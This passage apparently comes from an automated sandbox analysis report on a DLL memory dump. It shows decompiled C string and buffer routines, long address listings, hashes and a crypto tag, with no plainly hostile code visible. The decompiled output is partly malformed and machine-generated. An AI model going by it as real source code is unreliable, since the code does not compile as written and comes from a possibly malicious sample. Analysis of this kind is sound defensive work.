								if(_t266 != 0) {
									break;
								}
								_t381 = _t381 + 0x10;
								if(_t381 < _t543) {
									continue;
								} else {
									if(_t543 >= 0x7fffffff) {
										L57:
										_t521 = 0x7fffffff;
									} else {
										while( *((char*)(_t543 + _t395)) != 0) {
											_t543 = _t543 + 1;
											if(_t543 < 0x7fffffff) {
												continue;
											} else {
												goto L57;
											}
											goto L58;
										}
										goto L246;
									}
								}
								goto L58;
							}
							asm("bsf esi, eax");
							_t521 = _t543 + _t381;
							goto L246;
						} else {
							_t521 = 0;
							_t381 =  ~_t381 + 0x10;
							while( *((char*)(_t521 + _t395)) != 0) {
								_t521 = _t521 + 1;
								if(_t521 < _t381) {
									continue;
								} else {
									goto L51;
								}
								goto L58;
							}
							L246:
							if(_t521 == 0xfffffffe) {
								 *_t395 = 0;
							}
						}
					}
					L58:
					_t332 =  <=  ? 0x40 : _t521 + 2;
					if(_t332 > _v40) {
						_v60 = (_t332 >> 5 >> 0x1a) + _t332 >> 6;
						_t333 = _t332 & 0x8000003f;
						if(_t333 < 0) {
							_t333 = (_t333 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t336 = _v60 + (0 | _t333 > 0x00000000) << 6;
						_v60 = _t336;
						_push(_t336);
						_t267 = E6EBA1030();
						_t552 = _t552 + 4;
						_t332 = _v44;
						if(_t332 == 0) {
							 *_t267 = 0;
						} else {
							if(_t267 != 0) {
								_t478 =  *_t332;
								 *_t267 = _t478;
								if(_t478 != 0) {
									_v24 = _t306;
									_t317 = 0;
									_v68 = _t496;
									while(1) {
										_t317 = _t317 + 1;
										_t480 =  *((char*)(_t332 + _t317 * 2 - 1));
										 *((char*)(_t267 + _t317 * 2 - 1)) = _t480;
										if(_t480 == 0) {
											break;
										}
										_t481 =  *((char*)(_t332 + _t317 * 2));
										 *((char*)(_t267 + _t317 * 2)) = _t481;
										if(_t481 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
								}
							}
							_push(1);
							_push(_t332);
							_v64 = _t267;
							E6EBA10B0();
							_t267 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t267;
					} else {
						_t267 = _v44;
					}
					 *((char*)(_t267 + _t521)) = 0x30;
					 *((char*)(_t521 + _v44 + 1)) = 0;
					_t268 = _v44;
					if(_t268 == 0) {
						_t522 = 0;
					} else {
						_t476 = _t268 & 0x0000000f;
						if(_t476 == 0) {
							L77:
							asm("pxor xmm0, xmm0");
							_t537 =  ~( ~_t476 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t332 != 0) {
									break;
								}
								_t476 = _t476 + 0x10;
								if(_t476 < _t537) {
									continue;
								} else {
									if(_t537 >= 0x7fffffff) {
										L83:
										_t522 = 0x7fffffff;
									} else {
										while( *((char*)(_t537 + _t268)) != 0) {
											_t537 = _t537 + 1;
											if(_t537 < 0x7fffffff) {
												continue;
											} else {
												goto L83;
											}
											goto L84;
										}
										goto L242;
									}
								}
								goto L84;
							}
							asm("bsf esi, ecx");
							_t522 = _t537 + _t476;
							goto L242;
						} else {
							_t522 = 0;
							_t476 =  ~_t476 + 0x10;
							while( *((char*)(_t522 + _t268)) != 0) {
								_t522 = _t522 + 1;
								if(_t522 < _t476) {
									continue;
								} else {
									goto L77;
								}
								goto L84;
							}
							L242:
							if(_t522 == 0xfffffffe) {
								 *_t268 = 0;
							}
						}
					}
					L84:
					_t330 = 0x40;
					_t407 =  <=  ? 0x40 : _t522 + 2;
					if(_t407 > _v40) {
						_t375 = (_t407 >> 5 >> 0x1a) + _t407 >> 6;
						_v60 = _t375;
						_t465 = _t407 & 0x8000003f;
						if(_t465 < 0) {
							_t465 = (_t465 - 0x00000001 | 0xffffffc0) + 1;
						}
						_t377 = _t375 + (0 | _t465 > 0x00000000) << 6;
						_v60 = _t377;
						_push(_t377);
						_t268 = E6EBA1030();
						_t552 = _t552 + 4;
						_t330 = _v44;
						if(_t330 == 0) {
							 *_t268 = 0;
						} else {
							if(_t268 != 0) {
								_t469 =  *_t330;
								 *_t268 = _t469;
								if(_t469 != 0) {
									_v24 = _t306;
									_t316 = 0;
									_v68 = _t496;
									while(1) {
										_t316 = _t316 + 1;
										_t471 =  *((char*)(_t330 + _t316 * 2 - 1));
										 *((char*)(_t268 + _t316 * 2 - 1)) = _t471;
										if(_t471 == 0) {
											break;
										}
										_t472 =  *((char*)(_t330 + _t316 * 2));
										 *((char*)(_t268 + _t316 * 2)) = _t472;
										if(_t472 != 0) {
											continue;
										}
										break;
									}
									_t306 = _v24;
									_t496 = _v68;
									_t330 = _v44;
								}
							}
							_push(1);
							_push(_t330);
							_v64 = _t268;
							E6EBA10B0();
							_t268 = _v64;
							_t552 = _t552 + 8;
						}
						_v40 = _v60;
						_v44 = _t268;
					}
					 *((char*)(_t268 + _t522)) = 0x2a;
					 *((char*)(_t268 + _t522 + 1)) = 0;
				} else {
					_t268 = _v44;
				}
				if(_t268 == 0) {
					_t523 = 0;
				} else {
					_t463 = _t268 & 0x0000000f;
					if(_t463 == 0) {
						L103:
						asm("pxor xmm0, xmm0");
						_t531 =  ~( ~_t463 + 0x0000000f & 0x0000000f) + 0x7fffffff;
						while(1) {
							asm("movdqu xmm1, [eax+edx]");
							asm("pcmpeqb xmm1, xmm0");
							asm("pmovmskb ecx, xmm1");
							if(_t330 != 0) {
								break;
							}
							_t463 = _t463 + 0x10;
							if(_t463 < _t531) {
								continue;
							} else {
								if(_t531 >= 0x7fffffff) {
									L109:
									_t523 = 0x7fffffff;
								} else {
									while( *((char*)(_t531 + _t268)) != 0) {
										_t531 = _t531 + 1;
										if(_t531 < 0x7fffffff) {
											continue;
										} else {
											goto L109;
										}
										goto L110;
									}
									goto L238;
								}
							}
							goto L110;
						}
						asm("bsf esi, ecx");
						_t523 = _t531 + _t463;
						goto L238;
					} else {
						_t523 = 0;
						_t463 =  ~_t463 + 0x10;
						while( *((char*)(_t523 + _t268)) != 0) {
							_t523 = _t523 + 1;
							if(_t523 < _t463) {
								continue;
							} else {
								goto L103;
							}
							goto L110;
						}
						L238:
						if(_t523 == 0xfffffffe) {
							 *_t268 = 0;
						}
					}
				}
				L110:
				_t338 =  <=  ? 0x40 : _t523 + 2;
				if(_t338 > _v40) {
					_v64 = (_t338 >> 5 >> 0x1a) + _t338 >> 6;
					_t339 = _t338 & 0x8000003f;
					if(_t339 < 0) {
						_t339 = (_t339 - 0x00000001 | 0xffffffc0) + 1;
					}
					_t342 = _v64 + (0 | _t339 > 0x00000000) << 6;
					_v64 = _t342;
					_push(_t342);
					_t269 = E6EBA1030();
					_t552 = _t552 + 4;
					_t343 = _v44;
					if(_t343 == 0) {
						 *_t269 = 0;
					} else {
						if(_t269 != 0) {
							_t458 =  *_t343;
							 *_t269 = _t458;
							if(_t458 != 0) {
								_v24 = _t306;
								_t315 = 0;
								_v68 = _t496;
								while(1) {
									_t315 = _t315 + 1;
									_t460 =  *((char*)(_t343 + _t315 * 2 - 1));
									 *((char*)(_t269 + _t315 * 2 - 1)) = _t460;
									if(_t460 == 0) {
										break;
									}
									_t461 =  *((char*)(_t343 + _t315 * 2));
									 *((char*)(_t269 + _t315 * 2)) = _t461;
									if(_t461 != 0) {
										continue;
									}
									break;
								}
								_t306 = _v24;
								_t496 = _v68;
							}
						}
						_push(1);
						_push(_t343);
						_v68 = _t269;
						E6EBA10B0();
						_t269 = _v68;
						_t552 = _t552 + 8;
					}
					_v40 = _v64;
					_v44 = _t269;
				} else {
					_t269 = _v44;
				}
				goto L124;
			}

0x6ebb62fc
0x6ebb62fe
0x6ebb6300
0x6ebb6304
0x6ebb6306
0x6ebb630e
0x6ebb6310
0x6ebb6313
0x6ebb6317
0x6ebb6354
0x6ebb6319
0x6ebb631b
0x6ebb631d
0x6ebb6320
0x6ebb6324
0x6ebb6326
0x6ebb6329
0x6ebb632b
0x6ebb632b
0x6ebb632c
0x6ebb6331
0x6ebb6337
0x00000000
0x00000000
0x6ebb6339
0x6ebb633d
0x6ebb6342
0x00000000
0x00000000
0x00000000
0x6ebb6342
0x6ebb6344
0x6ebb6344
0x6ebb6324
0x6ebb6347
0x6ebb6349
0x6ebb634a
0x6ebb634f
0x6ebb634f
0x6ebb635c
0x6ebb6364
0x6ebb6365
0x6ebb6367
0x6ebb636a
0x6ebb636f
0x6ebb6372
0x6ebb6378
0x6ebb63d5
0x6ebb63d8
0x6ebb63e0
0x00000000
0x6ebb637a
0x6ebb637c
0x6ebb6dc0
0x6ebb6dc2
0x6ebb6dc3
0x6ebb6dc8
0x6ebb6dcb
0x6ebb6dd3
0x6ebb6dd5
0x00000000
0x6ebb6382
0x6ebb6382
0x6ebb6385
0x6ebb6389
0x6ebb638b
0x6ebb6393
0x6ebb6395
0x6ebb6398
0x6ebb6398
0x6ebb6399
0x6ebb639e
0x6ebb63a4
0x00000000
0x00000000
0x6ebb63a6
0x6ebb63aa
0x6ebb63af
0x00000000
0x00000000
0x00000000
0x6ebb63af
0x6ebb63b1
0x6ebb63b1
0x6ebb63b4
0x6ebb63b6
0x6ebb63b7
0x6ebb63bb
0x6ebb63c0
0x6ebb63c4
0x6ebb63c7
0x6ebb63cf
0x6ebb63e4
0x6ebb63e6
0x6ebb63e9
0x6ebb6401
0x6ebb6405
0x6ebb6411
0x6ebb6417
0x6ebb6417
0x6ebb641c
0x6ebb6420
0x6ebb6426
0x00000000
0x00000000
0x6ebb642c
0x6ebb6431
0x00000000
0x6ebb6433
0x6ebb6439
0x6ebb644e
0x6ebb644e
0x00000000
0x6ebb643b
0x6ebb643b
0x6ebb6445
0x6ebb644c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb644c
0x00000000
0x6ebb643b
0x6ebb6439
0x00000000
0x6ebb6431
0x6ebb6eb0
0x6ebb6eb3
0x00000000
0x6ebb63eb
0x6ebb63ed
0x6ebb63ef
0x6ebb63f2
0x6ebb63fc
0x6ebb63ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb63ff
0x6ebb6e93
0x6ebb6e96
0x6ebb6453
0x6ebb6453
0x6ebb6ea4
0x6ebb6ea4
0x6ebb6ea7
0x6ebb6ea7
0x00000000
0x6ebb68ea
0x6ebb68ea
0x6ebb68ee
0x6ebb68f6
0x6ebb68fb
0x6ebb6b4d
0x6ebb6b51
0x6ebb6b55
0x6ebb6b59
0x6ebb6b63
0x6ebb6b65
0x6ebb6b6d
0x6ebb6b7d
0x6ebb6b84
0x6ebb6baf
0x6ebb6bb5
0x6ebb6d25
0x6ebb6d29
0x6ebb6d2b
0x6ebb6d2b
0x6ebb6d32
0x6ebb6d34
0x6ebb6d3b
0x6ebb6d3d
0x6ebb6d40
0x6ebb6d44
0x6ebb6d83
0x6ebb6d46
0x6ebb6d48
0x6ebb6d4a
0x6ebb6d4d
0x6ebb6d51
0x6ebb6d53
0x6ebb6d57
0x6ebb6d59
0x6ebb6d59
0x6ebb6d5a
0x6ebb6d5f
0x6ebb6d65
0x00000000
0x00000000
0x6ebb6d67
0x6ebb6d6b
0x6ebb6d70
0x00000000
0x00000000
0x00000000
0x6ebb6d70
0x6ebb6d72
0x6ebb6d72
0x6ebb6d51
0x6ebb6d76
0x6ebb6d78
0x6ebb6d79
0x6ebb6d7e
0x6ebb6d7e
0x00000000
0x6ebb6d44
0x6ebb6bc4
0x6ebb6bc6
0x6ebb6bc9
0x6ebb6be1
0x6ebb6be5
0x6ebb6bf1
0x6ebb6bf7
0x6ebb6bf7
0x6ebb6bfc
0x6ebb6c00
0x6ebb6c06
0x00000000
0x00000000
0x6ebb6c0c
0x6ebb6c11
0x00000000
0x6ebb6c13
0x6ebb6c19
0x6ebb6c2e
0x6ebb6c2e
0x6ebb6c1b
0x6ebb6c1b
0x6ebb6c25
0x6ebb6c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb6c2c
0x00000000
0x6ebb6c1b
0x6ebb6c19
0x00000000
0x6ebb6c11
0x6ebb6e2f
0x6ebb6e32
0x00000000
0x6ebb6bcb
0x6ebb6bcd
0x6ebb6bcf
0x6ebb6bd2
0x6ebb6bdc
0x6ebb6bdf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb6bdf
0x6ebb6e14
0x6ebb6e17
0x6ebb6e1d
0x6ebb6e21
0x6ebb6e27
0x6ebb6e27
0x6ebb6e21
0x6ebb6e17
0x6ebb6c33
0x6ebb6c38
0x6ebb6c3e
0x6ebb6c44
0x6ebb6c5a
0x6ebb6c5e
0x6ebb6c64
0x6ebb6c6c
0x6ebb6c6c
0x6ebb6c7a
0x6ebb6c7d
0x6ebb6c81
0x6ebb6c87
0x6ebb6c89
0x6ebb6c8c
0x6ebb6c90
0x6ebb6cdf
0x6ebb6c92
0x6ebb6c94
0x6ebb6c96
0x6ebb6c99
0x6ebb6c9d
0x6ebb6ca1
0x6ebb6ca4
0x6ebb6ca8
0x6ebb6caa
0x6ebb6caa
0x6ebb6cab
0x6ebb6cb0
0x6ebb6cb6
0x00000000
0x00000000
0x6ebb6cb8
0x6ebb6cbc
0x6ebb6cc1
0x00000000
0x00000000
0x00000000
0x6ebb6cc1
0x6ebb6cc3
0x6ebb6cc6
0x6ebb6cc6
0x6ebb6c9d
0x6ebb6cca
0x6ebb6ccc
0x6ebb6ccd
0x6ebb6cd1
0x6ebb6cd6
0x6ebb6cda
0x6ebb6cda
0x6ebb6ce6
0x6ebb6ce9
0x6ebb6c46
0x6ebb6c46
0x6ebb6c46
0x6ebb6ceb
0x6ebb6cef
0x6ebb6cfd
0x6ebb6d01
0x6ebb6d03
0x6ebb6d09
0x6ebb6d09
0x6ebb6d0c
0x6ebb6d0d
0x6ebb6d11
0x00000000
0x00000000
0x6ebb6d1d
0x00000000
0x6ebb6d23
0x6ebb6d07
0x6ebb6d08
0x00000000
0x6ebb6d08
0x00000000
0x6ebb6d1d
0x00000000
0x6ebb6d09
0x6ebb6cef
0x00000000
0x6ebb6b86
0x6ebb6b8a
0x6ebb6b8b
0x6ebb6b8c
0x6ebb6b8d
0x6ebb6b8e
0x6ebb6b8f
0x6ebb6b8f
0x6ebb6901
0x6ebb6901
0x6ebb6905
0x6ebb6908
0x6ebb690c
0x6ebb6910
0x6ebb6914
0x6ebb691e
0x6ebb6920
0x6ebb6928
0x6ebb6938
0x6ebb693f
0x6ebb696a
0x6ebb6970
0x6ebb6ae0
0x6ebb6ae4
0x6ebb6ae6
0x6ebb6ae6
0x6ebb6aed
0x6ebb6af3
0x6ebb6afa
0x6ebb6afc
0x6ebb6aff
0x6ebb6b03
0x6ebb6b45
0x6ebb6b05
0x6ebb6b07
0x6ebb6b09
0x6ebb6b0c
0x6ebb6b10
0x6ebb6b12
0x6ebb6b16
0x6ebb6b18
0x6ebb6b18
0x6ebb6b19
0x6ebb6b1e
0x6ebb6b24
0x00000000
0x00000000
0x6ebb6b26
0x6ebb6b2a
0x6ebb6b2f
0x00000000
0x00000000
0x00000000
0x6ebb6b2f
0x6ebb6b31
0x6ebb6b31
0x6ebb6b10
0x6ebb6b35
0x6ebb6b37
0x6ebb6b38
0x6ebb6b3d
0x6ebb6b3d
0x6ebb6d86
0x6ebb6d86
0x6ebb6d88
0x6ebb6d88
0x6ebb697f
0x6ebb6981
0x6ebb6984
0x6ebb699c
0x6ebb69a0
0x6ebb69ac
0x6ebb69b2
0x6ebb69b2
0x6ebb69b7
0x6ebb69bb
0x6ebb69c1
0x00000000
0x00000000
0x6ebb69c7
0x6ebb69cc
0x00000000
0x6ebb69ce
0x6ebb69d4
0x6ebb69e9
0x6ebb69e9
0x6ebb69d6
0x6ebb69d6
0x6ebb69e0
0x6ebb69e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb69e7
0x00000000
0x6ebb69d6
0x6ebb69d4
0x00000000
0x6ebb69cc
0x6ebb6e0d
0x6ebb6e10
0x00000000
0x6ebb6986
0x6ebb6988
0x6ebb698a
0x6ebb698d
0x6ebb6997
0x6ebb699a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb699a
0x6ebb6df2
0x6ebb6df5
0x6ebb6dfb
0x6ebb6dff
0x6ebb6e05
0x6ebb6e05
0x6ebb6dff
0x6ebb6df5
0x6ebb69ee
0x6ebb69f3
0x6ebb69f9
0x6ebb69ff
0x6ebb6a15
0x6ebb6a19
0x6ebb6a1f
0x6ebb6a27
0x6ebb6a27
0x6ebb6a35
0x6ebb6a38
0x6ebb6a3c
0x6ebb6a42
0x6ebb6a44
0x6ebb6a47
0x6ebb6a4b
0x6ebb6a9a
0x6ebb6a4d
0x6ebb6a4f
0x6ebb6a51
0x6ebb6a54
0x6ebb6a58
0x6ebb6a5c
0x6ebb6a5f
0x6ebb6a63
0x6ebb6a65
0x6ebb6a65
0x6ebb6a66
0x6ebb6a6b
0x6ebb6a71
0x00000000
0x00000000
0x6ebb6a73
0x6ebb6a77
0x6ebb6a7c
0x00000000
0x00000000
0x00000000
0x6ebb6a7c
0x6ebb6a7e
0x6ebb6a81
0x6ebb6a81
0x6ebb6a58
0x6ebb6a85
0x6ebb6a87
0x6ebb6a88
0x6ebb6a8c
0x6ebb6a91
0x6ebb6a95
0x6ebb6a95
0x6ebb6aa1
0x6ebb6aa4
0x6ebb6a01
0x6ebb6a01
0x6ebb6a01
0x6ebb6aa6
0x6ebb6aaa
0x6ebb6ab8
0x6ebb6abc
0x6ebb6abe
0x6ebb6ac4
0x6ebb6ac4
0x6ebb6ac7
0x6ebb6ac8
0x6ebb6acc
0x00000000
0x00000000
0x6ebb6ad8
0x6ebb6dec
0x6ebb6dec
0x6ebb6ade
0x6ebb6ac2
0x6ebb6ac3
0x00000000
0x6ebb6ac3
0x00000000
0x6ebb6ad8
0x6ebb6de2
0x6ebb6de2
0x6ebb6de6
0x6ebb6de6
0x6ebb6aaa
0x6ebb6d8f
0x6ebb6d8f
0x6ebb6d91
0x6ebb6d92
0x6ebb6d9a
0x6ebb6d9c
0x6ebb6da0
0x6ebb6dac
0x6ebb6db0
0x6ebb6dbd
0x6ebb6941
0x6ebb6945
0x6ebb6946
0x6ebb6947
0x6ebb6948
0x6ebb6949
0x6ebb694a
0x6ebb694a
0x6ebb693f
0x6ebb68fb
0x6ebb63e9
0x6ebb637c
0x6ebb6458
0x6ebb645d
0x6ebb6463
0x6ebb6468
0x6ebb647d
0x6ebb6480
0x6ebb6484
0x6ebb648a
0x6ebb6492
0x6ebb6492
0x6ebb649f
0x6ebb64a2
0x6ebb64a6
0x6ebb64a7
0x6ebb64ac
0x6ebb64af
0x6ebb64b5
0x6ebb6504
0x6ebb64b7
0x6ebb64b9
0x6ebb64bb
0x6ebb64be
0x6ebb64c2
0x6ebb64c6
0x6ebb64ca
0x6ebb64cc
0x6ebb64cf
0x6ebb64cf
0x6ebb64d0
0x6ebb64d5
0x6ebb64db
0x00000000
0x00000000
0x6ebb64dd
0x6ebb64e1
0x6ebb64e6
0x00000000
0x00000000
0x00000000
0x6ebb64e6
0x6ebb64e8
0x6ebb64ec
0x6ebb64ec
0x6ebb64c2
0x6ebb64ef
0x6ebb64f1
0x6ebb64f2
0x6ebb64f6
0x6ebb64fb
0x6ebb64ff
0x6ebb64ff
0x6ebb650b
0x6ebb650f
0x6ebb646a
0x6ebb646a
0x6ebb646a
0x6ebb6513
0x6ebb651f
0x6ebb6524
0x6ebb652f
0x6ebb6535
0x6ebb6e8c
0x6ebb653b
0x6ebb653d
0x6ebb6540
0x6ebb6558
0x6ebb655c
0x6ebb6568
0x6ebb656e
0x6ebb656e
0x6ebb6573
0x6ebb6577
0x6ebb657d
0x00000000
0x00000000
0x6ebb6583
0x6ebb6588
0x00000000
0x6ebb658a
0x6ebb6590
0x6ebb65a5
0x6ebb65a5
0x6ebb6592
0x6ebb6592
0x6ebb659c
0x6ebb65a3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb65a3
0x00000000
0x6ebb6592
0x6ebb6590
0x00000000
0x6ebb6588
0x6ebb6e85
0x6ebb6e88
0x00000000
0x6ebb6542
0x6ebb6544
0x6ebb6546
0x6ebb6549
0x6ebb6553
0x6ebb6556
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb6556
0x6ebb6e74
0x6ebb6e77
0x6ebb6e7d
0x6ebb6e7d
0x6ebb6e77
0x6ebb6540
0x6ebb65aa
0x6ebb65b5
0x6ebb65bc
0x6ebb65d4
0x6ebb65d8
0x6ebb65de
0x6ebb65e6
0x6ebb65e6
0x6ebb65f4
0x6ebb65f7
0x6ebb65fb
0x6ebb65fc
0x6ebb6601
0x6ebb6604
0x6ebb660a
0x6ebb6659
0x6ebb660c
0x6ebb660e
0x6ebb6610
0x6ebb6613
0x6ebb6617
0x6ebb661b
0x6ebb661f
0x6ebb6621
0x6ebb6624
0x6ebb6624
0x6ebb6625
0x6ebb662a
0x6ebb6630
0x00000000
0x00000000
0x6ebb6632
0x6ebb6636
0x6ebb663b
0x00000000
0x00000000
0x00000000
0x6ebb663b
0x6ebb663d
0x6ebb6641
0x6ebb6641
0x6ebb6617
0x6ebb6644
0x6ebb6646
0x6ebb6647
0x6ebb664b
0x6ebb6650
0x6ebb6654
0x6ebb6654
0x6ebb6660
0x6ebb6664
0x6ebb65be
0x6ebb65be
0x6ebb65be
0x6ebb6668
0x6ebb6670
0x6ebb6675
0x6ebb667b
0x6ebb6e6d
0x6ebb6681
0x6ebb6683
0x6ebb6686
0x6ebb669e
0x6ebb66a2
0x6ebb66ae
0x6ebb66b4
0x6ebb66b4
0x6ebb66b9
0x6ebb66bd
0x6ebb66c3
0x00000000
0x00000000
0x6ebb66c9
0x6ebb66ce
0x00000000
0x6ebb66d0
0x6ebb66d6
0x6ebb66eb
0x6ebb66eb
0x6ebb66d8
0x6ebb66d8
0x6ebb66e2
0x6ebb66e9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb66e9
0x00000000
0x6ebb66d8
0x6ebb66d6
0x00000000
0x6ebb66ce
0x6ebb6e66
0x6ebb6e69
0x00000000
0x6ebb6688
0x6ebb668a
0x6ebb668c
0x6ebb668f
0x6ebb6699
0x6ebb669c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb669c
0x6ebb6e55
0x6ebb6e58
0x6ebb6e5e
0x6ebb6e5e
0x6ebb6e58
0x6ebb6686
0x6ebb66f0
0x6ebb66f0
0x6ebb66fb
0x6ebb6702
0x6ebb6712
0x6ebb6715
0x6ebb6719
0x6ebb671f
0x6ebb6727
0x6ebb6727
0x6ebb6734
0x6ebb6737
0x6ebb673b
0x6ebb673c
0x6ebb6741
0x6ebb6744
0x6ebb674a
0x6ebb679d
0x6ebb674c
0x6ebb674e
0x6ebb6750
0x6ebb6753
0x6ebb6757
0x6ebb675b
0x6ebb675f
0x6ebb6761
0x6ebb6764
0x6ebb6764
0x6ebb6765
0x6ebb676a
0x6ebb6770
0x00000000
0x00000000
0x6ebb6772
0x6ebb6776
0x6ebb677b
0x00000000
0x00000000
0x00000000
0x6ebb677b
0x6ebb677d
0x6ebb6781
0x6ebb6784
0x6ebb6784
0x6ebb6757
0x6ebb6788
0x6ebb678a
0x6ebb678b
0x6ebb678f
0x6ebb6794
0x6ebb6798
0x6ebb6798
0x6ebb67a4
0x6ebb67a8
0x6ebb67a8
0x6ebb67ac
0x6ebb67b0
0x6ebb6526
0x6ebb6526
0x6ebb6526
0x6ebb67b7
0x6ebb6e4e
0x6ebb67bd
0x6ebb67bf
0x6ebb67c2
0x6ebb67da
0x6ebb67de
0x6ebb67ea
0x6ebb67f0
0x6ebb67f0
0x6ebb67f5
0x6ebb67f9
0x6ebb67ff
0x00000000
0x00000000
0x6ebb6805
0x6ebb680a
0x00000000
0x6ebb680c
0x6ebb6812
0x6ebb6827
0x6ebb6827
0x6ebb6814
0x6ebb6814
0x6ebb681e
0x6ebb6825
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb6825
0x00000000
0x6ebb6814
0x6ebb6812
0x00000000
0x6ebb680a
0x6ebb6e47
0x6ebb6e4a
0x00000000
0x6ebb67c4
0x6ebb67c6
0x6ebb67c8
0x6ebb67cb
0x6ebb67d5
0x6ebb67d8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb67d8
0x6ebb6e36
0x6ebb6e39
0x6ebb6e3f
0x6ebb6e3f
0x6ebb6e39
0x6ebb67c2
0x6ebb682c
0x6ebb6837
0x6ebb683e
0x6ebb6856
0x6ebb685a
0x6ebb6860
0x6ebb6868
0x6ebb6868
0x6ebb6876
0x6ebb6879
0x6ebb687d
0x6ebb687e
0x6ebb6883
0x6ebb6886
0x6ebb688c
0x6ebb68db
0x6ebb688e
0x6ebb6890
0x6ebb6892
0x6ebb6895
0x6ebb6899
0x6ebb689d
0x6ebb68a1
0x6ebb68a3
0x6ebb68a6
0x6ebb68a6
0x6ebb68a7
0x6ebb68ac
0x6ebb68b2
0x00000000
0x00000000
0x6ebb68b4
0x6ebb68b8
0x6ebb68bd
0x00000000
0x00000000
0x00000000
0x6ebb68bd
0x6ebb68bf
0x6ebb68c3
0x6ebb68c3
0x6ebb6899
0x6ebb68c6
0x6ebb68c8
0x6ebb68c9
0x6ebb68cd
0x6ebb68d2
0x6ebb68d6
0x6ebb68d6
0x6ebb68e2
0x6ebb68e6
0x6ebb6840
0x6ebb6840
0x6ebb6840
0x00000000

Strings

@, xrefs: 6EBB6DCB

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction ID: 501b38b464c6a5639ab90ef332075628fb9c4066ab516de50e406260795adeef
Opcode Fuzzy Hash: ca296c8c1b784dec66269739aff920a48213b076e99651e2a44e7fe70c450e0f
Instruction Fuzzy Hash: C7720B7592C7D24AE719CE69C49033A7EE2EFC6304F18C66DD9A54B29DEE35CC018782

Uniqueness

Uniqueness Score: -1.00%

Function 6EB91784, Relevance: 2.1, Strings: 1, Instructions: 877
COMMONCrypto

Download Yara Rule

C-Code - Quality: 33%

			E6EB91784(intOrPtr* __ecx, void* __ebp, intOrPtr _a4, void* _a876, void* _a900, void* _a904, void* _a984, void* _a988, void* _a992, void* _a996, void* _a1000, void* _a1004, intOrPtr _a1008, intOrPtr _a1012, intOrPtr _a1016, intOrPtr _a1020, intOrPtr _a1024, intOrPtr _a1028, intOrPtr _a1032, intOrPtr _a1036, intOrPtr _a1040, intOrPtr _a1044, intOrPtr _a1048, intOrPtr _a1052, intOrPtr _a1056, intOrPtr _a1060, void* _a1152, char _a1176, char _a1184, char _a1212, void* _a2140, void* _a2144, void* _a2148, void* _a2152, void* _a2156, void* _a2168, void* _a2172, void* _a2176, void* _a2180, void* _a2184, void* _a2188, void* _a2192, void* _a2196, void* _a2200, void* _a2212, intOrPtr _a2216, void* _a2220, void* _a2224, void* _a2228, void* _a2232, char _a2236, char _a2240, char _a2244, char _a2248, char _a2252, char _a2256, char _a2260, char _a2264, char _a2268, char _a2272, char _a2276, char _a2280, char _a2284, char _a2288, char _a2292, char _a2296, char _a2300, char _a2304, char _a2308, char _a2312, char _a2316, char _a2320, char _a2324, char _a2328, char _a2332, char _a2336, char _a2340, char _a2344, char _a2348, char _a2352, char _a2356, char _a2360, char _a2364, char _a2368, char _a2372, char _a2376, char _a2380, char _a2384, char _a2388, char _a2392, char _a2396, char _a2400, char _a2404, char _a2408, char _a2412, char _a2416, char _a2424, char _a2432, char _a2440, char _a2448, char _a2464, char _a2468, void* _a2472, void* _a2476, intOrPtr _a2480, char* _a2488, signed int _a2492, intOrPtr _a2512, char _a2540, char _a2560, char _a2568, void* _a2572, char _a2576, char _a2580, char _a2588, void* _a2592, char _a2616, void* _a2620, void* _a2640, void* _a2644, void* _a2648, char _a2652, signed int _a2656, char _a2680, char _a2684, void* _a2692, void* _a2696, void* _a2708) {
				void* _v0;
				intOrPtr _v4;
				void* _v8;
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v28;
				signed int _v36;
				intOrPtr _v44;
				intOrPtr _v52;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _v108;
				void* _v116;
				void* _v124;
				void* _v132;
				void* _v160;
				void* _v184;
				void* _v188;
				void* _v192;
				void* _v196;
				void* _v200;
				void* _v204;
				void* _v216;
				void* _v224;
				void* _v232;
				void* _v240;
				void* _v260;
				void* _v264;
				void* _v276;
				void* __edi;
				void* _t279;
				intOrPtr _t302;
				signed int _t304;
				signed int _t313;
				signed int _t317;
				signed int _t321;
				signed int _t496;
				signed int _t505;
				signed int _t519;
				signed int _t520;
				signed int _t523;
				signed int _t527;
				signed int _t531;
				signed int _t702;
				void* _t707;
				signed int _t712;
				intOrPtr _t715;
				void* _t720;
				void* _t723;
				void* _t724;
				void* _t725;
				void* _t728;

				_t720 = __ebp;
				_t687 =  &_a1212;
				_push(2);
				_push(0);
				_push(0);
				_push( &_a1212);
				_push(_t702);
				_push(_a2680);
				_push(0xffffffff);
				 *__ecx();
